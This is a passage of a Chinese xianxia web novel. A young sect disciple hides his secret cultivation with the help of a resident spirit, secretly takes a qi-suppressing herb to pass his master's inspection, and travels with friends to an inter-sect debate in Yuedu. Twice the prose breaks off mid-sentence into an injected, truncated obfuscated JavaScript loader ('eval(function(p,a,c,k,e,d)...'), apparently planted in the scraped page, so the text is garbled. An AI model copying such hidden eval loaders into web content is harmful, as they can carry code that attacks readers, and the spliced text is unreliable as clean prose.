男子摇了摇头，眼中也带着一丝困惑：“并非我派弟子。我们赶到时，战斗早已结束。那魔修被高阶雷系术法贯穿心脉而亡，从残留的灵力波动推断，施术者修为至少是金丹期。” 高阶雷系术法？ 金丹期？ 石蛰和陆通更加茫然了。那贯穿魔修心脏的雷系术法是石蛰做的，但是金丹期？ 石蛰已经有金丹期修为了？？？ 男人并未察觉石蛰内心的惊涛骇浪，继续道：“而且，那位前辈还用雷法彻底毁去了魔修的那面邪幡。如此也好，省得那东西再落入其他邪魔外道手中，后患无穷。” 摄魂幡被雷法毁了？ 这话如同冰水浇头，让石蛰和陆通同时一个激灵，心猛地沉了下去。他们清楚地记得，当时鸿蒙鼎吸收了摄魂幡的大部分能量后，那面变得黯淡无光的幡旗只是被随意丢弃在一旁，根本来不及处理！ 再怎么样，也不可能出现被雷法毁去的痕迹！ 也就是说，真的有一个金丹期修士在他们之后到达了现场，不仅给了那魔修致命一击，还顺手处理了摄魂幡，抹去了一切痕迹？ 石蛰一时之间心乱如麻，完全不知道这突如其来的变故，对自己而言究竟是福是祸。 那中年男子见石蛰表情变幻，似乎真的对后续一无所知，又关切地询问了几句他的伤势，嘱咐他好生休养，便起身离开了。 等人一走，石蛰立刻迫不及待地在脑海追问：“前辈！这算好事还是坏事？” 陆通沉默了片刻，才缓缓道：“哼，好事，当然是好事！” “有这个不知从哪儿冒出来的金丹修士顶缸，谁还能想到是你这小子宰了那魔修？你的修为，鸿蒙鼎的秘密，算是暂时保住了！” 石蛰严谨地补充道：“说不定真是那位路过的前辈杀了魔修呢？我最后晕过去了，也没确认那魔修是不是真的断气了……” 毕竟那魔修一次次爬起来的情景，给他留下了太深的心理阴影。 陆通嗤笑一声：“不管到底是谁补的最后一刀，总之，现在所有证据都指向那个金丹修士，没人会怀疑到你头上。你小子，真不知道你运气是好还是差。” 石蛰闻言，忍不住嘿嘿傻笑，牵动了胸口的伤，痛得他龇牙咧嘴，倒抽冷气。 既然石蛰已经苏醒，前来支援的青云山弟子们便不宜久留，需尽快回山复命。但石蛰的伤不宜长途颠簸，便被安排暂时留在村中养伤，云磬一同留下照看他。 原本苏婉也该随队离开，但她坚持留下。 苏婉很是感激石蛰云磬二人，当日若不是两人想办法救她，自己一定早没命了，更别说后面两人还想牺牲自己引开魔修。救命之恩无以为报，至少让她留下给石蛰疗伤。 ...... ...... 已经七月，山野被蓬勃的绿意和绚烂的野花覆盖，空气里弥漫着草木与泥土的芬芳。 两个村童咯咯笑着从田埂那头跑来，手里高高举着一个用野花野草编织成的花环，不一会儿就跑到了树下。 云清徽正坐在树下，唇角微不可查地弯了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这时，云清徽看向石蛰，语气平淡自然：“要听书么？” “要！” 石蛰立刻点头，这些天，白天他向云磬学习写字，晚上则是听他念书，念得是那本西南游记。 云清徽取出那本已然翻阅不少的游记，就着桌上将熄未熄的烛火，用他那清冽平稳的嗓音继续读了起来。 直到烛火跳动了几下，眼见就要油尽灯枯，云清徽合上书页，在朦胧的月光里抿了一口早已凉透的茶，轻声道：“书，已经讲完了。” 石蛰怔了怔，心里蓦地涌起一股强烈的意犹未尽和莫名的遗憾，仿佛一段陪伴已久的美好旅程突然走到了终点，空落落的。 就在这时，云清徽忽然开口，声音在寂静的夜里显得格外清晰：“我明日要回去了。” 石蛰一时没反应过来：“啊？这么急么？” 他下意识以为他们会一起等到他伤好之后再返山门。 “不能……等我伤好了一起回去么？” 云清徽摇了摇头，月光下的侧脸看不出太多情绪：“我有些事情，需先回去处理。” “这样。” 石蛰虽不解，但想到左右也就差一两日，便按下失落，点头道：“哦，好，你若有事，便先回去好了。我过两日肯定也能回去了。” 云清徽闻言，极淡地笑了一下，应道：“好。” “时间不早，你早点休息。” 云清徽说罢就要出门，临关门前，他忽然又提及一事。 “这才你我立了这么大功，想必回山之后就能正式入内门了吧，不知道会拜入哪位师傅门下。” 他像是想到什么开心的事情般，缓缓关上了门。 门内：陆通，石蛰二人：“......” 22.云磬，退出了青云山 石蛰：“啊啊啊啊啊拜师仪式肯定会有金丹期修士在，我要没了！！！！” 陆通咬着手指：“别急别急，肯定有办法的！” 石蛰眼泪汪汪：“前辈，我只能靠你了。” 陆通焦躁地踱步思索，忽然，一道灵光闪过！ “有了！有一种草药，名为‘敛息草’。误食此草，会让修真者灵气受创、运转滞涩，正好可以用来压制灵气！” “苏婉是医修，身边备有各种草药，说不定就有这‘敛息草’，你想办法从她那里弄来！” 石蛰闻言，觉得此法颇为冒险，但眼下也顾不得许多了： “也只能如此了……” 第二天一早，云清徽没有和石蛰告别，就离开了，听闻云磬已经离开，石蛰又是一阵失落，但很快安抚好了自己，左右就一两日，自己也要回了。 他扭头看向苏婉，苏婉正一如往常地在院子里晾晒各式草药，空气中弥漫着复杂的药香。 他通过意识问陆通：“前辈，你认得出来哪一种是‘敛息草’吗？” 陆通没好气地回道：“老夫又不是医修，怎会认得所有草药模样？能知道有此物及其功效就不错了！你自己机灵点，旁敲侧击去问！” 石蛰无奈，只好硬着头皮，状似无意地踱步到苏婉身边，假装对草药很感兴趣的样子： “师姐，你能教我认这些草药吗，以后有什么事也能用得上。” 苏婉不疑有他，耐心地指着面前的草药一一介绍： “这是宁神花，有静心凝神之效。这是凝血藤，是止血生肌的上好药材，捣碎了外敷，能快速收敛伤口。那边的是百露草……” 苏婉介绍了好几种都未提及“敛息草”，石蛰几乎都要绝望了。 就在这时，苏婉拿起一株叶片呈灰绿色、边缘带着细微锯齿的草药，道： “这是‘敛息草’，用以丹药可以平复躁动灵气，但若是直接误食，反而会挫伤灵力，所以要小心不要误食。” 就是它！！！ 石蛰精神一振，他强压下内心激动，努力维持着表面的平静，趁苏婉不注意，眼疾手快地将那几株“敛息草”迅速攫入袖中，动作快得只留下一道残影。 等回到房间后，石蛰小心翼翼地拿出那几株偷来的“敛息草”，心中依旧忐忑不安：“前辈，这真的会有用吗？不会被看出来吧？” 陆通此刻倒是镇定了几分，哼道：“放心，此草特性隐秘，若非专门探查极难发现。即便……即便效果不尽如人意，你不是刚经历了与魔修的生死大战吗？你就说你在生死一线中突破自我，灵力大涨。青云门的人只会高兴捡到了宝，不会怀疑的！” 石蛰目露质疑：“真的么？” 陆通一摊手：“那你还想怎么样？” “......” 事已至此，也只能如此了。 又过两日，石蛰果然也伤好，和苏婉一同回了青云山。回去的路上还是骑马，一天一夜后，在第二日上午回到了青云山。 一进门，他就迫不及待地问起了云磬。 “什么，云磬没有回来？！” 石蛰怔怔地看着眼前二人，陆知棠和陆铃兰也是一脸莫名，方才他两得到石蛰回来的消息，正兴奋地出来迎接，却被他问起了云磬的事。 不是应该他和云磬一起回来的么？ 陆知棠忍不住道：“我和铃兰听说你们和师姐出门办事，遇到了一些情况，耽误了时间，方才听师兄说你回来了，才赶出来见你，哪里见到过云磬。” “云磬不是应该和你在一起么？” “可是……” 石蛰的声音干涩：“他明明早我两日就动身回来了啊……” 一种冰冷的不安瞬间攫住了他的心脏，经历过魔修事件的后怕让他立刻想到了最坏的可能——云磬是不是在路上出了意外？ “我去问师兄！” 石蛰找到负责教导他们的张逸师兄，石蛰两次考核成绩优秀，再加上此次出门办事救了苏婉，已经是内定的内门弟子，张逸对他态度也很亲近。 “矛真长老交代，云磬另有要事，已自行退出青云山，从今往后就与我派没有干系了。长老特意嘱咐，他一切安好，让你不必挂心。” 这几个字重重砸在石蛰心头，砸得他一阵发懵。陆知棠和陆铃兰在一旁也是面面相觑，脸上写满了难以置信。 云磬，退出了青云山？ 他怎么就退出了呢？ 多少人梦寐以求的青云山，他怎么就退出了呢？ 然而，这个问题无处可问，也无人可答。 失落感如同潮水般汹涌而来，他失魂落魄地走开，脑海里不受控制地翻涌起这四个月来的点点滴滴。 在山上的相处，下山发生的种种事情，生死关头的默契，还有他垂眸吹奏叶笛时，侧脸在夕阳下柔和的轮廓…… 一种说不清、道不明的难过和失落紧紧缠绕着他，直到一个月后，第三次考核顺利结束，张逸师兄当众宣布他、陆知棠、陆铃兰三人正式成为内门弟子。 “太好了！” 陆铃兰当场欢呼起来，俏丽的脸上满是兴奋的红晕，石蛰自然也高兴，高兴之余却有一丝感伤悄然蔓延。 这个时候，云磬在就好了。 —— 拜师大会这日，石蛰换上了内门弟子服装，梦寐以求的青色长袍穿在身上，石蛰紧张之余不免担忧。 “真的没问题么？” 陆通：“没问题没问题，你只要熬过今天就成了，此后你师傅不会管你的。” “你回来之后不是连敛息草的用法都查过了么？用药一刻钟即生效，你现在该服用了。” 石蛰眼中闪过一丝决绝，一把将敛息草塞进嘴里。 “啊，苦——” “呕苦！” ...... 门外传来了轻轻的叩门声，随即是秦越师兄温和的嗓音：“石蛰师弟，时辰到了，随我来吧。” 石蛰压下喉间不适，整理衣袍后打开门。 拜师仪式在紫霄殿举行，石蛰的师尊是门内赫赫有名的剑道高手，已至金丹中期的凌云真人，这一批新弟子中，仅有他和王鹏二人修习剑道，而两人又分别拜入不同的师尊门下。因此，此刻拜在凌云真人座下的，只有他一人。 紫霄殿为他师尊凌云真人日常会客面徒场所，殿内恢弘开阔，数人合抱粗的蟠龙石柱巍然矗立，支撑整座大殿。 天光自外界投入，穿过高处数扇灵玉小窗，化作一道道澄澈堂皇的光柱，斜斜地倾入殿内，投射在光洁如镜的青玉地板上，映照出空气中细微浮动的尘霭，与殿内鲛油长明灯散发出的柔和乳白光晕交织融合，宛若蒙上一层神圣光辉。 大殿两侧，分立着数十位身着内门弟子服饰的师兄师姐。他们个个气息沉凝，目光湛然，修为最浅的也是筑基初级，其中不乏筑基后期的精英弟子。 此时此刻，所有人的目光都汇聚在场中那位身着崭新青色弟子服的少年身上，或带着审视，或带着好奇，或仅是平静的观望。 被如此多的强者目光注视，石蛰只觉得一股巨大的压力扑面而来，空气都变得粘稠沉重，他努力挺直脊背，目不斜视，一步步走上前。 几步玉阶之上，凌云真人负手而立。 他身着一袭深如墨染的青色云纹道袍，面容看上去不过三十许岁，却毫无轻浮之感，眉峰如剑刃出鞘，带着斩断一切的锐利，一双眸子沉静宛若万古不变的古井深潭，幽深得望不见底。 他分明敛息静立，未泄丝毫威压，然而，属于金丹中期大修士的磅礴力量，如同无声的海啸，弥漫在周遭的每一寸空气里。 石蛰在他面前，只觉得喉咙像是被一只无形的手紧紧扼住，几乎发不出任何声音。此刻若是他问自己有何秘密，自己一定泄露无遗！ 执事弟子清朗的声音在寂静的大殿中回荡：“弟子石蛰，叩见师尊！” 石蛰深吸一口气，压下喉咙间的干涩和因药效而越发明显的灵力滞涩感，上前三步，依着礼制，恭恭敬敬地跪倒在蒲团之上，向着凌云真人行了三拜九叩的大礼。 “弟子石蛰，拜见师尊！” 凌云真人的目光落在他身上，那目光似乎极为平淡，却又仿佛能穿透皮囊，直视内里。石蛰只觉得一股微凉的寒意掠过全身，连忙将头埋得更低。 “既入我门下，当时刻谨记，剑道一途，贵在专注与坚韧。望你勤修不辍，勿负韶华，亦勿负手中之剑。” “弟子谨遵师尊教诲！”石蛰再次叩首。 礼成。 凌云真人微微颔首，不再多言。 至此，石蛰这才起身，垂首恭敬地退到一旁指定位置，直到此时，他才敢稍稍松一口气，背后冷汗淋漓，陡然有种自己这条命在鬼门关走了一趟的感觉。 不过幸好，面见师尊也就这么一回，此后，就如陆通所言，石蛰的个人修行皆是由门内师兄师姐教授，师兄师姐亲切温柔，让他逐渐放下戒备。 石蛰，陆知棠，陆铃兰三人历经重重考验，终于如愿以偿成为了内门弟子。然而因各自拜在不同师承门下，日常修行场所不同，一日之中，也唯有修炼结束后方能短暂相聚片刻。 这日晚间，三人相聚膳堂。 “你是不是还在想云磬？” 陆知棠转向一旁怔怔发呆的石蛰，忽然问道。 石蛰眨了眨眼，见瞒不过他，只能低头承认：“是啊，我还是想不通，他到底去哪了？” 几步外，陆铃兰正站在分发餐后水果的嬷嬷面前，眉飞色舞、比手画脚，试图用她那双亮晶晶的眼睛和伶俐的口齿，说服对方破例让她多拿一份蜜桃。 他安慰道：“别担心，云磬那个人向来有自己的主意。他既然选择离开，必定是有他认为更重要的事情。” 他顿了顿，脸上露出一丝自嘲的笑：“不瞒你说，其实我还猜测过，云磬他会不会是其他门派派来的卧底。” “什么？！”石蛰猛地抬头，眼中满是震惊：“你怎么会这么想？” “因为他太淡定了，从进入青云山开始，无论是艰难的考核，还是后来的修行，他好像永远都是那副样子。成功了不见他多欣喜，遇到挫折也没见他多沮丧，总是一副宠辱不惊模样。就好像并不是很在意是否能留在青云山。” 石蛰闻言，陷入沉默。 他仔细回想与云磬相处的点滴，确实如此。 “我只以为他天性如此而已。” 陆知棠拍了拍他的肩膀，又道：“不管如何，事情已成定局。修仙之路漫漫，岁月悠长，说不定哪一天，还会再与他相见。” 石蛰叹息一声：“也只能如此了。” 三人在门内修行眨眼过了两个多月，十月金秋，硕果丰收。 青云山在后山种植了许多果树，如今也到了收获季节，这些果子或多或少沾染了青云山的灵气，对身体很有帮助，有师兄姐召集了人手一同去采摘，一箩筐一箩筐往里面搬。 作为新入门弟子，石蛰自然也被喊去帮忙，忙碌了大半日，他好不容易回了自己房间，刚简单沐浴后出来，就听到一位相熟的世界在喊他。 “石师弟，石师弟！原来你在这儿，让我好找。” “见过师姐，师姐找我有事？” “不是我，是秦越师兄要见你，让你现在就去剑坪旁的静思堂一趟。” 石蛰心中一凛，连忙正色道：“是，我这就去。” 秦越是门内掌教师兄，日常既传授石蛰剑法，也照顾他的生活，对石蛰来说，秦越更像是他的师傅，现在他这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我们选你，是因为你此前在安平村的表现，临危不惧，有勇有谋，更难得的是心存正道，愿为同门舍身。需知修仙之路，漫长艰险，实力固然重要，但心性、人品更为根本。此次论道，你权当是一次增长见闻、历练心性的机会，无需背负胜负之压。” 听到此，石蛰狂跳的心才稍稍安定下来。 他沉思片刻，原本的不安渐渐被一股跃跃欲试的好奇与期待所取代。能见识其他门派的英才，观摩不同的道法术法，这确实是极好的机会。 他深吸一口气，再次恭敬行礼，语气坚定了几分：“师弟明白了！多谢师尊与师兄的悉心栽培与信任！既是见世面、增阅历，弟子定当尽力而为，不负师门期望！” 秦越满意道：“就该如此。” “好了，没事了，除你之外，还有其他师弟师妹也一道会去，你先做准备吧。” “是。” 石蛰恭敬退出。 石蛰退出静思堂，直到走出很远，胸腔里那股激动与兴奋才猛地翻涌上来。 灵溪论道！ 他一个刚入门两个多月的炼气初期弟子，竟然能获得这样的机会！ 他强压下雀跃，好不容易熬到晚间，与陆知棠、陆铃兰照例在膳堂角落相聚。石蛰迫不及待地压低声音，将今日师兄召见以及灵溪论道之事说了出来，脸上是掩不住的雀跃。 然而，预想中的惊叹和祝贺并未立刻到来。只见正在小口吃饭的陆铃兰动作猛地一顿，筷子停在半空，脸上露出一丝极为古怪的神色，欲言又止。 陆知棠也是愣了愣，目光在石蛰和陆铃兰脸上转了一圈，忽然失笑道： “铃兰，你该不会也要参加灵溪论道吧？” 陆铃兰闻言，有些不好意思地放下筷子，轻轻点了点头，声音细若蚊蚋：“嗯，师姐说让我也去历练一番。” 气氛瞬间变得微妙。 石蛰这才恍然大悟，明白方才陆铃兰为何是那般反应。三人之中，他和铃兰都被选中前去参加论道，唯有的陆知棠，未被师门提及。 一丝尴尬和不易察觉的失落悄然弥漫开，石蛰偷偷看向陆知棠，眼神里带着些许无措和歉意。 反倒是陆知棠，最先恢复过来。他脸上不见丝毫芥蒂，反而露出豁达的笑容： “入门之后，便是各凭机缘与天赋了。我修为进展不如你们二人，师门如此安排，再正常不过。你们能去，我只会替你们高兴。别一个个垂头丧气的，搞得我陆知棠好像是个心胸狭隘的小人似的！” 他这番话说的真诚无比，瞬间驱散了那点微妙的尴尬。 石蛰和陆铃兰二人松了口气，重新露出了笑容。 陆铃兰甜甜地说：“我就知道知棠哥哥最大气了。” “哟，都叫上哥哥了。” “不过——”陆知棠话锋一转，故意板起脸道： “既然去了，就不能真只是‘见世面’。多少得拿出点我们青云山弟子的气魄来，就算输，也不能输得太难看，知道吗？” 石蛰，陆铃兰齐声应道：“知道了！” 灵溪论道在半个月后，青云山自然不会卡着时间去，三日后，确认参加论道，以及负责照看师弟师妹们的师兄姐一同准备启程。 到了汇合地点，石蛰和陆铃兰却震惊地看着背着行囊、笑吟吟站在队伍里的陆知棠。 “不是，知棠你怎么也在？！”石蛰和陆铃兰齐声惊呼。 陆知棠看着两人震惊模样，故作无奈地耸了耸肩，可眼底笑意却泄露了他的真实心情： “我也不清楚啊，前天，师傅忽然召见我，问我想不想去灵溪论道，那我还能说不想么，所以师傅就安排我也去了。” 话音刚落，陆铃兰已像一只欢快的小雀般扑了上去，紧紧抱住了陆知棠的胳膊，兴奋地大喊：“太好了，我们三人又能在一起了！” 石蛰也大步上前，重重地拍了拍陆知棠的肩膀，胸腔被巨大的惊喜和暖意填满，先前那一点因为分离而产生的低落瞬间烟消云散，一股难以言喻的豪情与信心自心底汹涌而出。 有挚友同行，有何可惧？ 23.灵溪论道 石蛰、陆知棠、陆铃兰三人随着青云山的队伍，策马离开了山门。 此次灵溪论道设在岳都，距离青云山足有一千多公里，即便众人骑的是颇具脚力的灵驹，日夜兼程也需十日左右才能抵达。 此次青云山派去参加灵溪论道的弟子共有六人，除了石蛰、陆知棠、陆铃兰外，还有一位法修，丹修和医修，都是筑基初期的修为。 除参赛弟子外，还有负责带队的三位师兄姐，分别是两位筑基中期的剑修和一位筑基后期的医修，想来是怕路途中出现意外，连护卫和疗伤的人选都想到了。 一行人策马而行，起初几日还在青云山势力范围内，景色尚且熟悉，之后便逐渐踏入陌生的地域。沿途山川壮丽，风俗各异，让甚少下山的石蛰等新弟子大开眼界。 这日午后，队伍正在官道上缓行休整，陆铃兰悄悄策马靠近石蛰和陆知棠，压低声音，神秘兮兮地说： “哎，我跟你们说，我偷偷打听到，自打二十五年前开始，这灵溪论道各项比赛的前三名，就全被五大门派的弟子包揽了！根本轮不到我们这样的小门小派出头。” “所以啊，你们俩千万别有压力，师门派我们去，本来也就是让我们去见见世面，没指望我们能拿什么名次的。” 她话音刚落，走在前头的带队剑修师姐便冷声道：“在后面偷偷说什么呢？” 一旁的同为剑修的另一位师兄见状，温和地打圆场道： “无妨，年轻人对论道好奇是正常的。” 他索性放缓了马速，让众人靠得近些，扬声道：“看来你们对灵溪论道颇有了解，不错，确实如铃兰师妹所言，近二十几年来，论道各项目前三名，多被五大门派的精英弟子收入囊中。” “尤其是百草谷的医修和天机门的卜修，在此道上堪称举世闻名，每逢大比，几乎都是力压群雄，难逢对手。” “不过，你们也无需妄自菲薄，更不必有太大压力。尽力而为，展现出我青云山弟子的风采即可，能与各方天才切磋，本身便是难得的机缘。” 石蛰在一旁听得云里雾里，忍不住好奇地插嘴问道：“陆师兄，请问……五大门派是什么？” 此言一出，其余众人震惊地望向他，陆铃兰瞪大了眼睛道：“你不知道五大派？” 就连陆通也在他脑袋里发出不敢置信的声音：“你竟不知道五大派？” 一副你好丢脸，幸亏我不是“活”人的模样。 石蛰：“......” 也没人跟他说过啊。 陆师兄倒是好脾气，笑了笑，耐心解释道：“无妨，现在知道也不迟。” “所谓五大门派，指的是苍云大陆实力最为雄厚、传承最为悠久的五个顶级宗门。分别是西南灵都的百草谷，东南应城的天机门，北方云霄府的九霄门，岳都的赤霞峰和南方仙羽郡的小玉仙宗。” “百草谷门中弟子主修医道与丹道，因其宗门圣地所在之地汇聚天地灵气，孕育了无数外界难寻的珍稀灵草与灵药，故而又被尊称为‘药王谷’。世间顶尖的医修与丹修，十有七八出自此门。” “天机门，则如其名，以卜算推演、窥探天机之道闻名于世。其门人弟子世代为皇室天师，凭借超凡的占卜之术，预知福祸，趋吉避凶，在凡间与修真界都拥有极大的影响力与威望。” “至于其余三大门派，虽然没有像百草谷或天机门那般在某一道上拥有绝对统治性的地位，但其宗门综合实力之强盛、底蕴之深厚，不遑多让。” “且每百年，必有惊才绝艳的天才修士横空出世，门内元婴真君乃至近化神期的老祖大能不计其数，正因如此，方能稳居天下顶尖宗门之列，雄踞一方。” 陆通冷不丁在脑中道：“天邪剑就出自赤霞峰。” 石蛰知道陆通对这位比他早结丹几年的宿敌耿耿于怀，念念不忘，闻言也没说什么。 陆铃兰满怀憧憬地道： “这些门派听起来就好厉害！能亲眼见到这些大门派的优秀弟子，说不定还能一起切磋论道，想想就好激动啊！” 师兄见她雀跃的模样，忍不住笑道：“对，就应该这样想！” 一路风尘仆仆，跨越山河。十日后，一行人终于抵达了此行的目的地——岳都。 岳都不愧是举办灵溪论道之地，城池规模宏大，远非寻常州府可比。城墙高耸，人流如织，因盛会在即，一路上时常撞见身着不同门派服饰的修士，整个岳都都弥漫着一股求仙问道气息。 石蛰三人都是在小镇长大，没有来过这样繁华都城，一入岳都，三人都睁大了眼睛，如同刚出笼的雀鸟，满是新奇地四处张望。 入住客栈后，白柳师姐将六人叫来，道： “距离论道正式开始还有三日，大家一路辛苦，难得下山，这三日可自由在岳都内活动，只是切记，如今岳都内各派修士云集，鱼龙混杂，务必谨言慎行，莫要招惹是非，若有急事，可随时用门派玉符联系我与两位师兄。” 众人齐声应下。 吩咐完毕，她又给每位弟子分发了一些银钱，以供花用。 队伍一散，陆铃兰立刻捧着分到手的银子，兴奋地跑到石蛰和陆知棠身边，脸颊因激动而泛红，小声欢呼道： “加入门派真是太好了，居然还有零花钱！师兄师姐们太大方了！” 三人兴致勃勃地汇入岳都熙攘的人流，街道两旁店铺林立，售卖着各式各样的物品，从凡人用的精巧玩意到修士所需的灵材法器，琳琅满目，令人应接不暇。 三人宛若入了海的鱼儿，看什么都觉得新鲜。 “哎，这里有家卖丹砂的店！” 陆铃兰兴致勃勃地走进一个丹砂店，她如今正式踏入符修之道，日常修炼消耗最多的便是符纸和丹砂。虽然师门每月都有定量发放，但看到店里那些色泽纯正、灵气盎然的朱砂，她还是忍不住走了进去。 陆铃兰在店铺里流连了许久，目光如同被黏住一般，在琳琅满目的丹砂间来回逡巡。倏忽，她的视线牢牢锁定了柜台最中央的两个小巧玉盒。 其中一个玉盒里盛放着名为“赤晶流霞砂”的丹砂，砂粒细腻如雾，呈现出一种极为纯正、饱满欲滴的朱红色，在店内光线的映照下，隐隐有流光闪烁，仿佛内里蕴藏着微小的霞光，一看便知是凝聚了充沛火灵力的上品。 另一个玉盒里装着的则是一种名为“碧海鲛砂”的丹砂，砂粒犹如瀚海，又清澄透明如冰川，细看之下，每一粒砂砾都仿佛被极致压缩的微小水珠，表面光滑圆润，泛着湿润柔和的光泽。 陆铃兰的目光在这两者之间徘徊，走向掌柜道： “掌柜的，这两味丹砂怎么卖？” 掌柜脸上盛满笑容，热情地道：“姑娘好眼力，这‘赤晶流霞砂’取自南疆火山深处，品质一流，于火系符箓很有作用，作价三十两纹银。” 他又指向另一盒：“这‘碧海鲛砂’更是难得，取自碧海鲛人尾鳍血液，以特殊法门融合极川蓝冰晶精炼而成，工序极其繁琐，售价五十两。” “三十两，五十两？”陆铃兰听到这价格，顿时倒吸一口凉气，不敢置信地说：“就这么一小盒？” 这盒子有一两重么？ 掌柜见她没钱，笑容淡了点，但还算客气； “本店诚心经营，都是公道的价格。” 陆铃兰捏着手中钱袋，只觉得满心冰凉，刚刚的兴奋瞬间被浇灭了大半。 这价格远远超出了她的预料，若买了其中任何一盒，她这趟岳都之行恐怕就只能看着别人买东西了。 果然求仙问道，都是要花钱的。 她依依不舍地看了这两样丹砂最后一眼，艰难地将目光转向一边的另一个色泽明显暗淡不少、包装也朴素许多的普通丹砂。 “掌柜的，那这个呢？” “这个便宜，这个只需十两。” 也好贵，但是——能承受。 陆铃兰深吸了口气，做下了决定。 “掌柜的，我想好了，我要这——”她手指正指向那十两一盒的丹砂，忽然一旁陆知棠开口道： “那两个你喜欢的，选一样吧。” 陆铃兰猛地回头看向他，语气满满的夸张：“可是那两个很贵啊！” 陆知棠笑容不变，依旧一副潇洒模样： “两样买不起，买一样也好，就当是庆贺你顺利进入青云山。” 石蛰也在一旁点头附和：“是啊铃兰，当初去青云山的路上，你帮了我很多，这丹砂，我也出一份心意。” “呜呜你们真是太好了！” 陆铃兰心中十分感动，也没有拒绝朋友的好意，她指着赤晶流霞砂道：“那掌柜的，我要这个……” “好嘞！”店里的是样品，掌柜让小二去取成品，三人又随意转了几圈。 取来成品后，陆铃兰正要付钱，掌柜的却笑眯眯地摆手道：“小姑娘，这盒丹砂的钱，方才已经有一位客官替您付过了。” “付过了？”三人同时愣住，面面相觑。 陆铃兰狐疑地猜测：“难道是白师姐或者陆师兄他们？” 陆知棠却皱眉道：“可师兄师姐们怎么会知道我们来了这家店？” 三人百思不得其解，心中疑窦丛生，但实在猜不出是谁，只好暂且将这事压下。 此时已近中午，三人腹中饥饿，便寻了家看起来不错的酒楼吃饭，点了好几样岳都当地的特色菜肴。 正吃着，忽听窗外街上一阵骚动，有人扯着嗓子激动地高喊：“快看，是九霄门的仙师到了！” 酒楼里的食客们纷纷放下碗筷，好奇地涌向临街的窗边探头观望，石蛰三人也按捺不住好奇心，挤到了窗边，向下张望。 只见一队身着月白色镶银边道袍的修士正从容不迫地行走在街道中央，他们所过之处，人群自发地让开道路，投去或敬畏或羡慕的目光。 这些九霄门弟子个个神情矜持，带着大宗门弟子特有的那份淡然与倨傲，步履沉稳，周身灵气充盈，显然修为不凡。 石蛰的目光被队伍中一名年轻男修吸引，那男修身姿挺拔，面容俊朗，眉眼间带着一股锐气。最引人注目的是他背上负着一柄造型古朴、宽厚无比的无鞘巨剑，剑身看似沉重无比，但他行走间却丝毫不显吃力，反而有种举重若轻的沉稳气度。 似乎是察觉到楼上注视的目光，那负剑男修忽而抬眼，目光如电，精准地捕捉到了正在打量他的石蛰。 石蛰一怔，不知怎的，没有退缩，反而大胆和他对视。 男人眼中闪过一丝讶异，很快回神，冲着石蛰点了点头，收回视线。 等到那队九霄门弟子走远，陆铃兰才喃喃道：“这就是我们之后要面对的对手么？” 他们看起来好强——这个认知清晰地浮现在三人心头。 然而，分明应该畏缩的，三人心中紧张忐忑之余，又难以抑制地生出一股难以言喻的兴奋与战意。 欣赏完对手的英姿，三人很快吃完饭，结账时，掌柜笑眯眯地告知：“三位客官，你们的账，方才已经有人结过了。” 三人再次愣在当场。 又来？ 陆铃兰捏着原本准备付钱的钱袋，喃喃道：“到底是谁啊？从丹砂店跟到酒楼。我们只是刚入门的小弟子，籍籍无名，又不是什么五大派的天才，谁会这么费心思地暗中帮我们付钱？” 这突如其来的“好意”非但没让三人感到开心，反而平添了几分不安和困惑。 三人又在城中逛了一圈，买了些小玩意儿，渐渐有些累了，便打算回客栈休息。 往回走的路上，陆知棠忽然想起什么，说道：“方才过来时，我看到一家卖护具的店铺，我想去买一件贴身的软甲衣，平日锻炼体魄时也能少受些罪。” 于是三人又折返回那家护具店，陆知棠上了二楼仔细挑选，石蛰和陆铃兰则在一楼兴致勃勃地看着各种护腕、护膝等小件物品。 就在这时，一个穿着普通、面容陌生的男人快步走进店内，直接走到柜台前与掌柜低语了几句，目光冲着背对他们的石蛰看了一眼，随后很快转身离开，径直走进了街对面的一家茶楼。 男人上了茶楼二楼，走进一个包间后他小声回复：“主人，按您吩咐，已经和掌柜的交代过了——” 就在这时，包间门被人从外面用力推开，两道人影径直闯入，陆铃兰目光扫向用珠帘隔着的坐席，大喝一 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石蛰和陆铃兰只好向那受惊的妇人连声道歉，悻悻地退了出来。 没抓到人，还差点做错事，陆铃兰恼怒地说：“到底是谁啊，要来这么戏弄我们？” 石蛰脑中闪过一个人影，但很快甩开，怎么会是他。 他安慰陆铃兰道：“不管是谁，总归我们没有做坏事，要是那人挟恩图报，我们把钱都还了就是了。” “嗯嗯你说得对，说不定是专门针对新入门弟子的骗局呢，我们要留心，千万别买超过我们能力的东西！” “嗯！” 三人回了客栈，托那位不知名人士的福，三人身上的钱还余下很多。 客栈小二一边殷勤地添茶倒水，一边热情地介绍：“三位仙师，今晚街上可热闹了！赤霞峰为迎接各大门派仙师，这三日晚上开放游灯会，各色杂耍百戏、猜灯谜、花灯巡游都有，据说就连赤霞峰的仙师也会表演节目，可千万别错过了！” 年轻人哪有不爱热闹的，三人按捺不住好奇，稍作休息便又出了门。 华灯初上，岳都街头已经亮满了灯，无数灯笼将街道照得亮如白昼，各式各样的摊贩比白天更多，卖糖人的、演皮影戏的、杂耍卖艺的，引得人流如织，欢声笑语不绝于耳。 走着走着，他们看到路边支着一个简单的摊位，一位道士模样的人正闭目端坐在一张小桌后，桌旁立了一个牌子，上面写着： “天机门弟子占卜。” 竟是天机门弟子！ 三人不由停下脚步，此时，一位衣着富贵的妇人正坐在摊位前，喋喋不休地抱怨： “仙师您给算算，我家那不成器的儿子，偏偏看上了西街卖豆腐家的丫头，那丫头家里穷得叮当响，模样也就那样，性子还倔，怎么劝都不听！您给算算，这到底是不是段孽缘？能不能想个法子让他断了这念头？” 那一直闭目的天机门修士忽然动了，他一个伸手，从桌子底下拿出一块牌子，上面赫然写着两个大字：不卜。 妇人不高兴了，拔高嗓门道：“哎？仙师，您这是什么意思？怎么就不给卜了？” 那修士依旧闭着眼，只是抬手，精准地指了指“天机门弟子占卜”旁一块小一点的牌子，上面写着： “免费占卜，不喜者不卜。” 原来这个“不卜”，说的是他自己。 